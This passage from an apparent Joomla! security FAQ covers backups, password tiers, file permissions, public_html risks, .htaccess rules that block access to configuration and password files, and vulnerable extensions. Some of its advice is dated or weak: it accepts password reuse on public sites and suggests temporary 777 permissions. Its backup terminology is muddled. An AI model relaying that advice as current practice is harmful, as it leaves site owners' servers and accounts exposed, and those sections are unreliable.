* '''Grow with your site:''' As sites grow in complexity, resource requirements, and security requirements, they may need to be moved off of a shared server environment. At that point, good options include, 1) '''dedicated servers''' offer the best possible security and performance, but at the highest expense, 2) '''virtual servers''' offer almost all the advantages of a dedicated server, but the hardware and configuration cost is shared among multiple virtual servers.

==What are the best practices for site backups?==

: There are three traditional backup types--full, cumulative and differential.

'''Full Backups'''
: A complete backup of all associated files and database at a known point in time.

: Both of these are considered Incremental backups, they can be used independently of each other or in conjunction with each other but always relate back to a FULL backup.

'''Cumulative Backups'''
: This is a backup of the differences since the last FULL backup, so each cumulative backup gets bigger each cycle as it is also backing up data previously backup, since the last FULL backup.

'''Incremental Backups'''
: This is a backup of the changes since the previous backup of any type, i.e., full, cumulative, or incremental.

: If you site is not too large, then FULL backups are the way to go, once a week at least. If your content changes quite regularly or more importantly cannot be recreated or is too costly to recreate, once a night or more may be more effective.

: If time, server resources, or the rate of data change is too high to successfully obtain a FULL backup every night then the incremental backups are needed.

: If you choose to use a cumulative backup following a weekly full, the backups each night will run quicker than a full backup, however as the week progresses, each nightly cumulative backup will increase in size and time, due to not only backing up the changes since last night's backup, but it also backing up all changes each night and previous nights since the last full backup was made. The benefit of this type of backup, in conjunction with full backups is the speed of restoration. To restore, you now only need to recover the most recent full and cumulative backups to fully recover all information.

: If time or server resources are paramount or data change overwhelms cumulative backups, turn to differential backups, this style of backup when used in conjunction with a full backup will provide a very similar level of protection, but restoration will be slower. Differential backups will only backup changed data since the last backup of any type, not since the last full backup, as with a cumulative backup. Thus, when restoring data, you will need to recover the full backup, then each differential backup in turn (oldest first) in order to fully recover all information. This method also has the drawback of recovering any legitimately deleted files, potentially "over-filling" the file-system.

'''Data Protection Best Practice says'''

# You should be able to completely recover from a catastrophic failure from at least two previous full backups. Just in case the most recent full backup is damaged, lost, or corrupt.
# A good backup regime should contain at least one full backup within a chosen cycle, normally weekly.
# A good backup practice is to store backups away from the current data location, preferably off site.
# Dynamic data should be backed up ''offline'' or ''hot'' to avoid ''fuzzy'' backups (data is changing as you back it up, potentially leading to related information not being in sync when backed up.

: For the average Web site, a daily or weekly full backup of both site files and database records is normally more than enough. Keeping a number of backups for a period of time is always a good plan, maybe keep each weekly backup for one month. This allows you to recover an old site in the case of emergencies or if for some reason you have local backup file corruption.

: There are many PHP and Perl scripts on the Web that can be automated through CRONTAB and can either email (if small enough) or FTP the backup files to an off- or cross- server location. Remember that to some degree with Joomla! you already have an instant backup of the core files, if you haven't modified core, the Joomla! distribution files can be easily restored. Then you need only worry about backing up changed files and the database.

==Where can I learn about vulnerable extensions?==
* See the [http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable Extensions List]

==Where can I learn more about file permissions?==

* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/113-joomla-and-unix-file-permissions-explanation.html Unix Permissions Primer]
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/112-joomla-and-windows-file-permissions-explanation.html Windows Permissions Primer]
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/111-permissions-under-phpsuexec.html Using phpSuExec]

==How do I setup a powerful password scheme?==

'''Overview'''

: Most users may not need more than 3 levels of passwords and webmasters no more than 5. Each level must be completely unrelated to the others in terms of which ids and passwords are used.

'''Directions'''

* '''Level 5 (Public)''' - is the password you use on public sites. It is not imperative that you use a different password on every site. In fact it's more effective to use a different username on every site than it is to use a different password truth be told! Knowing the username allows easy hacking...half the work is done! knowing the password is useless unless you know what account it goes to!

* '''Level 4 (Webmaster)''' - Reserved for SQL Only. this is a password that would only be used by SQL and limited to a specific database in SQL. The best way to protect SQL is by limiting each account to just being able to do the minimum that DB requires. In some cases it is even wise to have a read only account for display and a separate write account that the backend write functions use. But that doesn't apply to J! at all... for J! the best practice is to set up an individual account (not root for sure) that only has read and write access to the J! DB nothing else.

* '''Level 3 (Webmaster)''' - FTP and Server Access. these can be the same user:pass combo since both if compromised can do the most damage. doesn't matter if the backend or Cpanel is safe if the FTP is not and the same goes the other way!

* '''Level 2 (Personal Data Access)''' - This password should be used for any sites or locations that contain personal data with the exception of Banking (see level 1). these sites are often used for social engineering data such as medical records, service accounts and any financial records not directly related to banking! You want these to be secure but also different from the real threat of security...your money!

* '''Level 1 (Banking!)''' - this needs to be the most secure in fact if you have two different banks it actually pays to have a different user:pass for each just to be sure!

= Joomla! Core =

==How can I check my Joomla! installation's overall security and health?==

: 1. Use the free Joomla extension, Joomla! Tools Suite (JTS), which is a Joomla! environment audit, maintenance and diagnostic application written in PHP. The JTS suite of tools can diagnose, report and advise on common installation, health and security issues, including performing several common performance and recovery actions.

: Project Home: http:// joomlacode. org/gf/project/jts/ (gone away)

==How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?==

# Login to your Joomla! sites Administration site
# From the menu, select Extensions -> Module Manager
# From within the Module Manager, select Administrator
# From the Icon Menu (top right), select New
# From the choices available, select Feeds Display
# At the Feed Module configuration page, enter the appropriate details (Title (EG: Security Announcements) and Feed as a minimum)
# Enter http://feeds.joomla.org/JoomlaSecurityNews in the Feed URL
# Select cpanel as the position
# Optional Select Apply from the Icon Menu (top right) and place the feed in the order where you want to see it in the Admin Control Panel
# Select Save from the Icon Menu (top right)
# Go back to your Admin Site main page (Site -> Control Panel) and you should see your newly built Security Feed.

: You can also use this technique to deliver your own "Customer Updates" to sites that you build for others. It's a great way to communicate with your customers after handing over the site to them. Every time they log in to the Back End, they'll see your latest news.

==Why should I immediately change the name of the default admin user after a new install?==

'''Overview'''

: All new Joomla installations start with a Super Administrator account called, 'admin'. During the installation process, you will be asked to give this account a password. That's great as far as it goes, but because the user name of this highly-confidential account is generally well known, 50% of the security of the username/password combination is already exposed. Now all anyone needs to do is guess the password and they're in.

: By changing the user name to something more difficult to guess, you greatly increase the difficulty of accessing the account. An attacker must correctly guess both the user name and password at the same time to gain access. This is several magnitudes more difficult than simply guessing the right password.

'''Directions'''

# Log into the Back End
# Select User Manager
# Select the 'admin' user record
# Change the value in username. (Good user names contain a mix of letters and numbers.)
# Save
# Remember the new username!

== Why does the Back-End session stay alive even though I set it to expire? ==

: When you edit an item from the Back-End, there is a keep-alive script running that keeps the session active. This is a great convenience in most cases, as it prevents you from losing all your edits if you wait too long to submit the content. However, there are a few potential security issues to be aware of:

# If you walk away from your computer while you are editing content, someone else can use your computer to attack the site.
# Due to the risk of Cross-Site Request Forgery attacks ([http://en.wikipedia.org/wiki/Cross-site_request_forgery CSRF]) it's never a good idea to browse the Internet in another window or tab while an open Joomla! Administrator session is active. Joomla! has been hardened against such attacks, but it's remotely possible that an as yet unknown vulnerability exists in the Joomla! core, a third-party extension, or the browser itself.

==How do I turn off RG_EMULATION? {{JVer|1.0}}==

'''Overview'''

: PHP's ''register_globals'' option was a terrible idea from a security point of view. It encouraged lazy programming and exposed many scripts to needless risk. This is because RG allows variables passed by the user to be automatically passed to the script. This breaks a cardinal rule: Never trust user input.

: Register Globals has been officially deprecated in PHP5, and beginning with PHP6 will no longer even exist. Good riddance!

: Joomla 1.0.x uses RG_Emulation functions which are somewhat safer than standard PHP ''register_globals'', but it's still best not to allow any form of automatic variable assignments. Note that poorly-written extensions may fail with ''register_globals'' turned off. Such failure is a sign that the extension does not check user input correctly. Best advise: Don't use such extensions.

'''Joomla! 1.0.13'''

: Beginning with the 1.0.13 release, Register Globals Emulation has been moved to the main configuration file and can be adjusting in the Back-end Administrator interface.

'''Joomla! 1.0.12 and earlier'''

: Edit the file, ''globals.php'', found in the root directory of your Joomla! site. At about line 23 change:

define('RG_EMULATION',1)

: to

define('RG_EMULATION',0)

==What do Error 1, Error 2, and Error 3 mean?==

'''Error 1 = FATAL ERROR: MySQL not supported...'''

You need to compile MySQL support into PHP or the MySQL server is down.

'''Error 2 = FATAL ERROR: Connection to database ...'''

Joomla! cannot talk to the database, most likly you have a typo in the username or password settings in ''configuration.php'', or you are trying to access a database table with the wrong table prefix.

'''Error 3 = FATAL ERROR: Database not found...'''

The database cannot be found. Check the database settings in ''configuration.php''

The MySQL variables in ''configuration.php'' (found in Joomla!'s root directory) can be modified to correct these problems.

For Joomla! 1.0.xx
$mosConfig_host = 'localhost';
$mosConfig_user = 'accountname__username';
$mosConfig_password = 'userpassword';
$mosConfig_db = 'accountname_dbName';
$mosConfig_dbprefix = 'jos_';

Modifying the ''$mosConfig_host'' to an IP Address of a remote host works for hosts that have separate MySQL servers from the client hosting servers.

==How do UNIX file permissions work?==

Unix/Linux file permissions can be confusing. The basic UNIX permissions come in three flavors;

Owner Permissions : Control your own access to files.
Group Permissions : Control access for you and anyone in your group.
Other Permissions : Control access for all others.

In Unix, when permissions are configured the server allows you to define different permissions for each of these three categories of users. In a Web server environment permissions are used to control which Web site owners can access which directories and files.

'''What do Unix permissions look like?'''

When viewing your files through an FTP client or from the servers command line;

filename.php username usergroup rwx r-x r-x

The first entry is the name of the file, the next entry is your username on the server, the second entry is the group that you are a member of and the last entry is the permissions assigned to that this file (or directory). If you notice, I have intentionally spaced out the permissions section, I have grouped the 9 characters into 3 sets of 3. This separation is key to how the permissions system works. The first set of 3 permissions (rwx) relate to the username seen above, the second set of 3 permissions (r-x) relate to the usergroup seen above and the final set of 3 permissions (r-x) relate to anyone else who is not associated with the username or groupname.

'''Owner (User) relates to username'''

The Owner (User) is normally you, these permissions will be enforced on your hosting account name.

'''Group relates to usergroup'''

The Group permissions will be enforced on other people that are in the same group as you, within a hosting environment, there is very rarely other people in the same group as you. This protects your files and directories from being made available to anybody else who may also have a hosting account on the same server as you.

'''Other relates to everyone else'''

The Other permissions, these will be enforced on anybody else on the server that is either not you or not in your group. So in a Web Serving environment, remembering that no-one else is normally in your group, then this is everybody else accessing the server except for you. Each of the three sets of permissions are defined in the following manner;

r = Read permissions
w = Write permissions
x = Execute permissions

Owner Group Other
r w x r w x r w x

As many of you already know, permissions are normally expressed as a numeric value, something like 755 or 644. so, how does this relate to what we have discussed above? Each character of the permissions are assigned a numeric value, this is assigned in each set of three, so we only need to use three values and reuse them for each set.

Owner Group Other
r w x r w x r w x
4 2 1 4 2 1 4 2 1

Now that we have a value that represents each permission, we can express them in numeric terms. The values are simply added together in the respective sets of 3, which will in turn give us just three numbers that will tell us what permissions are being set. If we are told that a file has the permissions of 777, this would mean that the following was true.

Owner Group Other
r w x r w x r w x
4 2 1 4 2 1 4 2 1

Thus...

4+2+1 4+2+1 4+2+1
= 7 7 7

The Owner of the file would have full Read, Write and Execute permissions, the group would also have full Read, Write and Execute permissions, and the rest of the world can also Read, Write and Execute the file. The standard, default permissions that get assigned to files and directories by the server are normally;

Files = 644
Directories = 755

These permissions would allow, for files;

644 = rw- r-- r--
Owner has Read and Write
Group has Read only
Other has Read only

and for directories;

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute only
Other has Read and Execute only

Now, things can get a little complicated when we start talking about shared Web Servers, the Web Server software will be running with its own username and groupname, most servers are configured for them to use either "apache" and "apache" or "nobody" and "nobody" as username and groupname. Here is the problem. Your Web Server runs as its own user, and this user is not you or in your group, so the first two sets of permissions do not apply to it. Only the world (other) permissions apply. Therefore, if you configure a permissions set similar to 640 on your website files, your Web Server will not be able to run your website files.

640 = rw- r-- ---
Owner has Read and Write
Group has Read only
Other has no rights

The Web server is assigned no permissions at all and cannot Execute, Write or more importantly, even Read the file to delivery its content to a website visitors browser. If a directory was to be assigned 750 permissions, this would have the same effect, because the WebServer does not even have permissions to read files in the directory, even if the files inside that directory had favorable permissions.

750 = rw- r-x ---
Owner has Read and Write
Group has Read and Execute
Other has no rights

Directories have an extra quirk, if a directory does not have the Execute permission set in the World set then even if Read and Write are set, if the program is not run as the user or group, it will still not be able to access the files within the directory. The Execute setting allows the program to "Execute" commands in the directory, so without it being on the program(in our case a Web Server) cannot execute the "Read" command, thus cannot deliver your file to the users web browser.

'''How Does this Relate to Joomla?'''

Good question, well in the first instance this would be important during the Web-Installer process.
If you can remember back to when you ran the Joomla! Web-Installer, we were looking for specific directories to be designated as writable. We see quite a numbers of posts either stating that there were problems during the install with permissions or asking what permissions are recommended. Some even consider the message, asking for "Writable" permissions to be too vague.

Unfortunately, as the Web-Installer does not know how your server is configured, then it cannot be more specific, however, once you understand the permissions settings and you know a little about Web Serving environments, you will actually find that the term ''writable'' is actually very specific and a more than adequate description of what Joomla! needs. Thinking back to the above information, you may remember that there are three places where ''write'' permissions maybe set;

Owner Writable
Group Writable
Other Writable

Also remembering that the Web Server generally doesn't run as your own user or in the same group. When you run the Web Installer from a browser, it is the Web Server trying to access the files, thus it is the "Other" permissions that will apply to it. If the "Other" permissions do not allow the Web Server to Read, Write or Execute commands in the Joomla! directories, you will receive the message saying that the directories are not ''writable''.

In this case, you will need to configure the Other permissions to be "7" on the directories listed in the Web Installer.
So your total permissions might be something like 757, in the worse case you might need to set 777. These very open permissions
maybe reset back to 755 after the installer runs to assist in the security of your directories and files.

757 = rwx r-x rwx
Owner has Read, Write and Execute
Group has Read and Execute
Other has Read, Write and Execute

Just to make things even more confusing, many hosting firms make use of software called phpsuExec or suExec, these tools change the way the Web Server runs, where the Web Server would not normally run as your username, in this case, it does. The use of the ''other'' permissions, may not be required, now you may only need to configure directories to be ''writable'' to your own username and groupname, this allows directory permissions to be set as 755 or 775 instead of 757 or 777.

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute
Other has Read and Execute

775 = rwx rwx r-x
Owner has Read, Write and Execute
Group has Read, Write and Execute
Other has Read and Execute

The Web Server will still need to Execute set for the username and Read, Execute groupname permissions set so that it can Execute the Read command on files inside the directory. Again, these permissions may be demoted back to 755 after the Web Installer completes. Thats the basics for directories covered, what about files? This is where things get a little simpler. Most of the files that Joomla! makes use of will be quite happy with the 644 default permissions.

644 = rw- r-- r--
Owner has Read, Write
Group has Read
Other has Read

This is valid if you do not have a need to Write to the files from the Web Server, the same rules apply as for directories if you do have this need. One file that you may like to have "Writable" to the Web Server is your configuration.php file. This is the Joomla! configuration file, if you plan on changing configuration through the Web Admin interface, then this file will need to be Writable to the Web Server.

If your server needed directory permissions to be set to "Other" Writable for the install then this file will probably also need to be 757 or 777. Leaving this file as 757 or 777 is dangerous though, as you are letting everyone have "Write" access, many Web Site exploits take advantage of this fact, so in general it is not recommended to leave this file with these permissions.

If your Web Server has one of the SU tools installed and you only needed to configure 755 on directories for the installation, then you will probably also only need to set 755 or 775 on this file to allow editing through the Admin interface, and these permissions are generally accepted as more secure than 757 or 777.

In conclusion, what permissions should be set for the Joomla! installation? Well, as you can see, it depends!

I know this isn't as helpful as you would have liked and it certainly is not a definitive answer, but in general, after the installation, any insecure "7" settings can be reset back to something more secure. For example:
Files = 644
Directories = 755

These permissions would allow, for files;

644 = rw- r-- r--
Owner has Read and Write
Group has Read only
Other has Read only

and for directories,

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute only
Other has Read and Execute only

If you have SSH shell access the following commands can be run from the command line to reset all files and directories back to the server defaults of 755 and 644. Change directories to the top directory (" / ") of your Joomla! installation, then run:

find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;

If you only have FTP access, this can be a very time consuming job, however, unless you changed more directories during the installation that was requested, you should only need to reset about 10 directories and the ''configuration.php'' file.

Keep in mind that to install any extensions or templates after the actual Joomla! installation you may need to elevate the default permissions again on the appropriate directories just for the installation period, you may then demote them again after the add-on is installed.

If you decide to use ''caching'' the cache directory will need to be ''writable'' by the Web server user to allow it to write its temporary files.

==What are the recommended file and directory permissions?==

Depending on the security configuration of your Web server the recommended default permissions of 755 for directories and 644 for files should be reasonably secure.

==How can I avoid using chmod 0777 to enable installs?==

On a private server with a small, controlled set of users, there is no need to use a chmod 777 to make the Joomla! folders writable in order to perform installs. You can set the server up so that both Apache and FTP have control of site files.

'''Directions'''

# Edit the Apache user.conf file and tell apache to run under the FTP account.
# chmod the entire site to 644 or 744. Apache should be able to run just fine that way.

'''Optional'''

# chgrp the entire web space to the FTP group so that only those with FTP access can write to the server.
# chmod the entire web space to 764 or 664 will be possible giving other users write access as well

==Isn't locating all Joomla! files inside public_html a security risk?==

'''Short answer'''

Potentially, yes. Your site can be secure, but you must be careful and vigilant.

'''Long answer'''

A common security principle is to create various security levels and then grant access at each level only as required. On UNIX servers this is done by setting the user, group, and world permissions on directories and files.

Typically, the most insecure directory on a UNIX server is the one serving Web files, usually called public_html. This is because it is publicly accessible, world-readable, and in the case of a CMS-powered site, possibly even world-writable. That status is the very definition of officially, totally, and utterly insecure.

As long as you want the entire world to view your public_html directory there is no problem. After all, that's exactly what it's designed to do. But if you want to hide anything, the plot thickens. If public_html contains configuration files with secret data, or scripts that write to databases, or scripts that modify other files, or scripts that append to logs, or scripts that store temporary data in caches, or scripts that support file and graphic uploads, or scripts that process form input, or scripts that process financial and personal data, this read-only directory becomes a world-accessible, read-write application.

If there are ANY vulnerabilities in ANY files in the public_html directory, the entire server is potentially vulnerable, and not just your Web site but possibly every Web site on your server. Such vulnerabilities give attackers access to the scripting engines used to run your site. PHP, Perl and other Web scripting languages are powerful and easy to use. If programming vulnerabilities allow an attacker to call arbitrary commands, your entire server could be toast.

One good way to block attackers, is to keep potential vulnerabilities behind a secure fence. For this reason, it is often recommended to only place files that require direct access from the Web in public_html. Other files should be loaded into applications using such functions as include and require. To access such files, attackers must first penetrate your server, such as by discovering a root username/password.

'''The incredible lightness of living outside the fence'''

To provide incredibly easy installation, Joomla! follows a different security model. It is possible to perform a complete Joomla! installation using nothing more than a Web browser pointed at the world-readable installation directory. An additional level of security is provided by requiring that you remove this installation directory after completing the install.

Granting a world-accessible installer the ability to write to files outside of public_html would be a huge security hole. Thus, by default every Joomla! file ends up in the world-accessible public_html directory. Not coincidentally, this is also the directory in which an angry planetful of would-be attackers are hoping to find your files.

Currently, most Joomla extensions also have limited support for file locations outside of public_html. This is a legacy of the Joomla! 1.0.x installation model.

'''Joomla! defense'''

Despite it's apparently vulnerable location, Joomla! uses various effective methods for blocking exploits. Chief among them is to add a line of code at the top of any PHP file that requires extra protection. This method is very effective as long as each and every file requiring such protection, has it. One vulnerable file exposes the whole site.

'''The challenge'''

The practice of placing everything in public_html, and then building a little fence inside each file can become an administrative nightmare. One vulnerable file exposes the entire server. This is a glaring example of an allow, then deny security model.

This model requires very careful upgrades, constant log reviews, and proactive plugging of new vulnerabilities as soon as they become known. (Since you have to beat the attackers, you'll be in a hurry, and may inadvertently do something stupid, potentially creating other vulnerabilities.)

During installations and upgrades, you must verify (or trust someone else to verify) every line of code, of every new file, for every known vulnerability. And because scripts can have unintended consequences on each other, you cannot forget to test, test, test. Of course this is generally true for all software, but placing the entire application in public_html makes the issue extremely critical.

The recent wave of URL injection attacks against poorly-written third party extensions would have been much less successful if those files had been stored outside of public_html, and thus simply unavailable through URLs. Note that in many cases the actual vulnerabilities could still exist within the files, but being inside the fence (outside of public_html) they would not be exposed to URL injections.

To (Deny, then Allow), or (Allow, then Deny)?

The real problem with the above "all known" qualifier is that it is an allow, then deny model. In other words, we first give everyone access to every file and then deny access to specific files by adding a line of code.

Consider the logic for a password authentication script. We have essentially two choices:
# First allow all access, then deny any username/password combination that DOES NOT match the approved list.
# First deny all access, then allow any username/password combination that DOES match the approved list.

Obviously the second method is better. A passing familiarity with regular expressions shows that the first method is much more difficult to write securely. It fails anew each time a new variation of some attack is developed, and tends to require constant revisions. Over time, such revisions become so complex that the authentication system itself becomes a source of vulnerabilities.

Conceptually, the second method is an example of building a strong fence around your site (deny), and then granting access using a limited and well-defined set of criteria (then allow). If the script fails, the most likely result is that someone who should have access is blocked. That may be highly inconvenient, but it's not usually a security breach.

'''The good news'''

# In Joomla! 1.0.x, some extensions, and the Joomla! framework, give you the option of locating critical directories outside of public_html after you have completed the installation. Whenever possible you should do this.
# Joomla! 1.5 goes far in the right direction. It provides several new constants for specifying the location of particularly sensitive directories, including configuration, administrator, libraries, and installation.
# Joomla! 1.5 is able to run as an FTP account. This provides another method for protecting files on a file by file and directory by directory basis.

==How do I adjust Joomla 1.5 defines {{JVer|1.5}}==

There are two defines files that will generally need to be edited. /includes/defines.php file is for the front end and /administrator/includes/defines.php is for the Joomla administrator end. Below is the relevant code.

define( 'JPATH_ROOT' , implode( DS, $parts ) );
define( 'JPATH_SITE' , JPATH_ROOT );
define( 'JPATH_CONFIGURATION', JPATH_ROOT );
define( 'JPATH_ADMINISTRATOR', JPATH_ROOT . DS . 'administrator' );
define( 'JPATH_LIBRARIES' , JPATH_ROOT . DS . 'libraries' );
define( 'JPATH_INSTALLATION' , JPATH_ROOT . DS . 'installation' );

.DS. = Directory Seperator

==Moving sensitive files outside the web root==
{{:Moving sensitive files outside the web root}}

==How do I block direct access to critical files using .htaccess?==
# Make a backup copy of your .htaccess file. Use your backup file to recover if the following fails. Be sure to delete the backup file once you are finished.
# Add the following to your .htaccess file. This example will protect both the configurtation.php and .htaccess files.

<Files .htaccess>
order allow,deny
deny from all
</Files>

<FilesMatch "configuration.php">
Order allow,deny
Deny from all
</FilesMatch>

You can also protect a lot of file extensions in one single rule. Exemple (the file names between ' '''(''' ' and ' ''')''' ' in this rule are the file extensions to protect ):

<FilesMatch "\.(htaccess|htpasswd|ini|phps|log|sh|conf)$">
Order allow,deny
Deny from all
</FilesMatch>

==How do I recursively adjust file and directory permissions?==

'''Using Joomla! Administration'''

In the Back-end, go to Site --> Global Configuration --> Server.

'''Using the UNIX shell'''

'''Note:''' The find command automatically assumes that it should start from the current directory. To be safe, go to your public_html directory and specify a path as the first argument. Some shells, such as bash on Apple OS X, must have a path specified in the find command.

find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;
chmod 707 images
chmod 707 images/stories
chown apache:apache cache

'''Notes:'''
# Test all third party extensions after changing permissions.
# You may need to reset write permissions to install more extensions.

==How can I set the administrator directory to use an SSL server (https)? {{JVer|1.0}}==

Use Joomla version 1.5 or newer

A standard Joomla! 1.0.x installation does not support SSL for individual directories, however there are various (elegant and not so elegant) hacks posted in the forums.

Note that earlier techniques involving the variable $mosConfig_live_site are deprecated, and will not work with current Joomla! versions due to increased security enhancements.

'''More Help'''
# [http://www.netshinesoftware.com/security/using-an-ssl-certificate-with-your-joomla-website.html Netshine Software, Ltd: Using an SSL Certificate with your Joomla Website]

==Why isn't restricting access by IP recommended?==

Restricting site access by IP address is not particularly effective longterm as many exploits are enacted from hijacked machines or via proxies, masking the real attacker's actual IP Address. Attackers can attack from many different compromised machines. Blocking them will block the legitimate owners of that IP, but may not block the attackers.

= Joomla! Extensions =

==Why are there vulnerable extensions?==

A list of currently known [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions].

: Anyone may write and distribute a Joomla! extension. As a service to the global community, this freedom is actively encouraged and supported by the Joomla! Core team. Due to the openness and popularity of the Joomla! project, there are a wide variety of extensions offering a vast array of features. The quality and breadth of Joomla! extensions is one of the main advantages of Joomla.

: However this freedom comes with a price. It requires individual responsibility, and can survive only where a majority of participants act responsibly. Joomla's success has led to unwanted attention from malicious types, such as script kiddies who run simple, automated scripts in an effort to find and deface others' Web sites.

: It is important to note that, script kiddies unintentionally perform a valuable service. They help us identify vulnerable extensions and poorly configured servers that might otherwise remain open to more serious threats.

==What is a vulnerable extension?==

A vulnerable extension is one that has been found to contain (or contribute to) a security vulnerability.

Vulnerable extensions are not necessarily poorly-coded. As the Web evolves, technical requirements and commonly accepted coding practices change. Active projects release new versions of their extensions as requirements change. For this reason, it is important to:

# Know the version numbers of all installed extensions.
# Use only the latest stable version of all extensions.
# Completely remove all files of insecure or unused extensions.

==How do I choose secure extensions?==

: The most important thing anyone can do is make good decisions regarding the extensions they choose to use on a site. Once an insecure or malicious extension is installed you should consider your entire site compromised. There is NO POSSIBLE WAY to protect or stop a component from accessing database tables it should not be accessing. There is no possible way to stop a component from sending all of the information it found back to a cracker website. Once an insecure or malicious component is installed, your entire site is insecure.

: With all of that said, here are some pretty easy tips for making good choices regarding the extensions you install:

1. When was the last version released?

: If it has been over a year, consider the project abandoned and find something else. Do not install old components.

2. What kind of release is it? (Stable, Release Candidate (RC), Beta, Alpha)

: For production sites you should be sticking to Stable releases as much as possible. If you cannot wait until a Stable release has been made available, Release Candidates are the only other option you should consider. I would not suggest anyone install any Beta or Alpha extensions on a production site. This means they still have bugs, they have not been tested enough, and could have any number of inconvenient bugs or security issues that have not been fixed or worse, found.

3. Does the extension have a history of good security practices?

: This is obviously a bit more subjective but it is still a very valid gauge of future trustworthiness. It requires a bit of investigation and research. Look around their download pages and archives, are there many security release or patches? Are there a lot of reports of cracking activity through this extension? Are the developers experienced and security conscious? What do other community members think of this extension? One example that comes to mind that has little to do with Joomla itself (which makes it a fair example) is phpBB. This script has had more security issues than I could get my head around and there routinely seems to be newly disclosed issues. Because of this, I would never use phpBB. In my opinion its is not trustworthy and there is a high probability that there will be more major security issues.

4. Is there a support community for this extension?

: This is very important for usability and security awareness. If there is a support community for an extension there is a better chance of security issues being known and dealt with. A support community means that people would like to continue using the extension and that they care about the extension. This furthers the chance that security issues will be found, disclosed, and dealt with promptly.

5. Is there only a Mambo version of this extension?

: While this does not in itself make an extension insecure but is rather a gauge of support, how recently the last realease was, and future support. There is a pretty narrow chance that Mambo components will be supported in 1.5 so save yourself the trouble and find a component made to work with Joomla. It will make your life easier.

6. Is the extension generally bug free?

: I hinted on this a little bit in number three but I think it is worth discussing in more depth. While it is almost impossible for an extension to be completely bug free, the smaller the number of bugs, the better. If there are bugs in the software it means there are mistakes in the software. The more mistakes, the higher risk of usability issues and security issues. Security issues are often a result of not one bug, but several bugs or bad practices. For example, the recent 3rd party vulnerabilities that allow for remote file inclusion are a result of:

'''Bad Practices:'''

# Having PHP's Register Globals enabled.
# Using out of date or abandoned extension.
# No other security checks enabled for PHP. (url_fopen off, open_basedir restrictions, disabled PHP functions)
# Poorly configured file permissions.
# No request filtering or software "firewall". (such as mod_rewrite rules or mod_security Apache modules)

'''Bugs:'''

# Not including defined('_VALID_MOS') or die... statements
# Poorly constructed include() statements.

'''Although the Joomla! core is secure when configured correctly, third party extensions come in all flavors of age and quality. Unless you absolutely trust the extension developer, always review the code should before installing. The following is a list of typical areas of concern.'''

1. How complex is the extension?

: The larger it is, the more likely it is to have problems, and the more carefully you should review it. If you can't tell what it's doing, you should not trust it.

2. Does the extension read or write files to your server?

: Programs that read files may inadvertently violate access restrictions you've set up, or pass sensitive system information to crackers. Programs that write files have the potential to modify or damage existing files, or introduce trojan horses.

3. Does the extension interact with other programs on your system?

: For example, many extensions send e-mail in response to a form input by opening a connection with the sendmail program. Is it doing this in a safe way?

4. Does the extension run with suid (set-user-id) privileges?

: In general this is very dangerous; extensions need an excellent reasons for doing this.

5. Does the extension validate all user input, such as in form fields and in the URL?

6. Does the extension use explicit path names when invoking external programs?

: Relying on the PATH environment variable to resolve partial path names is a dangerous practice.

7. Is the extension secure against direct access throught the URL?

: For example: www.yoursite.com/components/com_bad_extension.php?lots_of_bad_code_here

8. Is the extension secure against remote file inclusions?

9. Is the extension secure against SQL injections?

10. Is the extension secure against Cross Site Scripting (XSS)?

11. Does the extension need PHP register_globals ON, or Joomla! RG Emulation ON?

: If so, then it is probably violating number 7 above.

12. Does the extension provide higher database access to less privileged users?

: For example does it allow guests or registered users to view data that only publishers or administrators should be able to see?

==Why does the Extensions site include insecure extensions?==
'''
Overview'''

The Joomla! Extensions site exists as a free service to the community. Anyone can post extensions there and extensions exist at all levels of quality and maturity.

If an extension is found to contain vulnerabilities, it will be removed from the site until a safer version is released, but there is no guarantee that the vulnerabilities of every extension have been discovered or reported.

To be safe, you must verify the security of every extension you install.

Below is the text of the Joomla! Extensions site disclaimer. Ignore it at your peril.

'''Disclaimer'''

: The extensions and reviews listed in this area have been submitted by the community and their listing does not constitute or imply endorsement, recommendation, or favouring by Joomla!/OSM.

: This content is provided as a free service to our visitors, and, as such, Joomla!/OSM cannot be held liable for the accuracy of the information. Visitors wishing to verify that the information is correct should contact the parties responsible for authoring the content and/or development of the extension.

==Why is there a warning in the extensions install screen?==

It's just a warning! You are of course free to install any extension you want onto your own site, but remember that '''YOU''' are responsible for the safety of your site and the quality of the applications you install.

The vast majority of reported Joomla! vulnerabilities are through poorly-written or obsolete versions of third party extensions that should not have been left on the server. Therefore, before installing anything carefully evaluate the quality of the extension's code.

The [[Vulnerable Extensions List]] is a valuable source of information on what '''NOT''' to install.

==Why isn't un-publishing a vulnerable extension enough to protect my site?==

'''Overview'''

: Simply removing the menu links to an extension, or unpublishing a module is NOT enough to protect your site! As long as the extension's files exist on your server, you are vulnerable. Note how in the following examples an attacker can bypass the Joomla! index file to directly target any file, of any extension.

www.your_site.org/components/com_bad_component/vulnerable_file.php
www.your_site.org/modules/mod_bad_module/vulnerable_file.php

'''Directions for removing a vulnerable extension'''

1. Make a list of files to remove

: If you can locate it, read the extension's xml file to determine exactly which directories, files, and database tables were added to your system. The xml file is in the original zip archive used during the extension install process. For example, the zip archive for an extension called mod_vulnerable, would contain an xml file called, mod_vulnerable.xml, and might contain a list of files such as the following:

mod_vulnerable.php
mod_vulnerable/vulnerable_file.txt
mod_vulnerable/another_vulnerable_file.txt
mod_vulnerable/yet_another_vulnerable_file.txt
mod_vulnerable/index.html

2. Uninstall via the Joomla Installer:

: Using the Installer in the Joomla! Administrator backend, uninstall the vulnerable extension. You may also need to uninstall related modules, components, or plugins.

3. Check that the uninstall process was complete:

: Don't trust the extension to safely remove all of it's files. Compare directories and files on your system to the extension's xml list to ensure that all related files were actually removed.

4. Optionally, remove related database tables:

